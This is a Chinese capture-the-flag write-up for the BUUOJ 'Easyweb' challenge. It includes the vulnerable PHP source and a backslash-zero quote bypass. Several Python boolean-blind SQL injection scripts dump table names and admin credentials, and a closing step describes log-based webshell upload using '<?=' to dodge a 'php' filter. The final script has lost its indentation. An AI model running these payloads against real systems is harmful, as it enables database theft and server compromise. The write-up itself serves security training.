1. 程式人生 > 實用技巧 >sql bool盲注

sql bool盲注

[CISCN2019 總決賽 Day2 Web1]Easyweb

考察:

  1. robots.txt

  2. image.php?bak檔案洩露,image.php.bak可以下載別的不大行

  3. 盲注

  4. php日誌掛馬

  5. <?=可以繞過檢測

初步工作

進入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt

Disallow: *.php.bak

對暴露的php檔案進行測試,

user.php,image.php.bak

image.php.bak存在,得到原始碼如下。

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析原始碼

addslashes()函式,這個函式會把特殊的字元轉義。

比如:單引號會被轉義成\',斜槓會轉義為\\.

第十行的str_replace會把"\\0","%00","\\'","'"中的任意一個替換成空。

我們可根據這個繞過當傳入id=\\0時,就會在 查詢語句處改變sql語句。

即:select * from images where id=' \' or path='+{$path}'

所以我們可以在path處注入我們的新語句,

由於沒有查詢結果回顯,所以此處是盲注。

正式編寫指令碼

編指令碼就很累了,寫的水平垃圾的一,寫了好久。

爆資料庫名長度。

其實這一步可以不用的,就是測驗自己的理論,加上學習。

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="

for i in range(30):
    payload = "if(length(database())=%d,1,-1)%%23" % (i)
    #print(url+payload)
    r = requests.get(url+payload)
    if b"JFIF" in r.content :
        print(i)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

爆資料庫名字

為:ciscnfinal

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用於判斷可不可以終止
i = 0

while( result != last ):
	i = i + 1 
	head=32
	tail=127
	while( head < tail ):
		mid = (head + tail) >> 1
		payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
		# print(url+payload)
		r = requests.get(url+payload)

		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if chr(head)!=" ":
		result += chr(head)
	print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

爆資料表的表名

記得看一下名字裡包不包括原始碼洩露的images表,可以作為你的指令碼正確性驗證。

有: images,users

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
    
	i=i+1
	head=32
	tail=127
	while head < tail :

		mid = ( head + tail ) >> 1
		payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
		#print(url+payload)
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
            
	last = result
	if chr(head)!=' ' :
		result += chr(head)
	print(result)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

爆資料表的列

爆列的時候注意,因為過濾了雙單引號,且我們沒有函數了,所以此時要把表明轉成16進位制

hex(“users”) = 0x7573657273

為:username,password

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

爆username欄位

admin

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

爆username欄位password

import requests
import time


url = "http://e90944d1-1737-46ec-a95c-5502fffc68f6.node3.buuoj.cn/image.php/"
# payload = {
# "id":"",
# #"password":""
# }
result = ""
for i in range(1,50):
time.sleep(0.01)
l = 32
r =128
mid = (l+r)>>1
while(l<r):
payload = url+"?id=\\\\0"+"&path=or 1="+"(ascii(substr((select group_concat(password) from users),{0},1))>{1})%23".format(i,mid)
html = requests.get(url=payload)#data=payload
#print(payload)
if b'JFIF' in html.content:
l = mid+1
else:
r = mid
mid = (l+r)>>1
# if(chr(mid)==" "):
# break
result = result + chr(mid)
print(result)
print("flag: " ,result)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

登入

我們有了使用者名稱和密碼。

登入進去後,簡單上傳測試後發現,他會把檔名放到日誌。

所以把木馬寫到檔名即可,注意過濾了php。

可以用<?=來繞過。

上傳之後,getshell,去根目錄把flag檔案讀了即可。

注意:圖片資料判斷存在時前+b以二進位制的方式讀取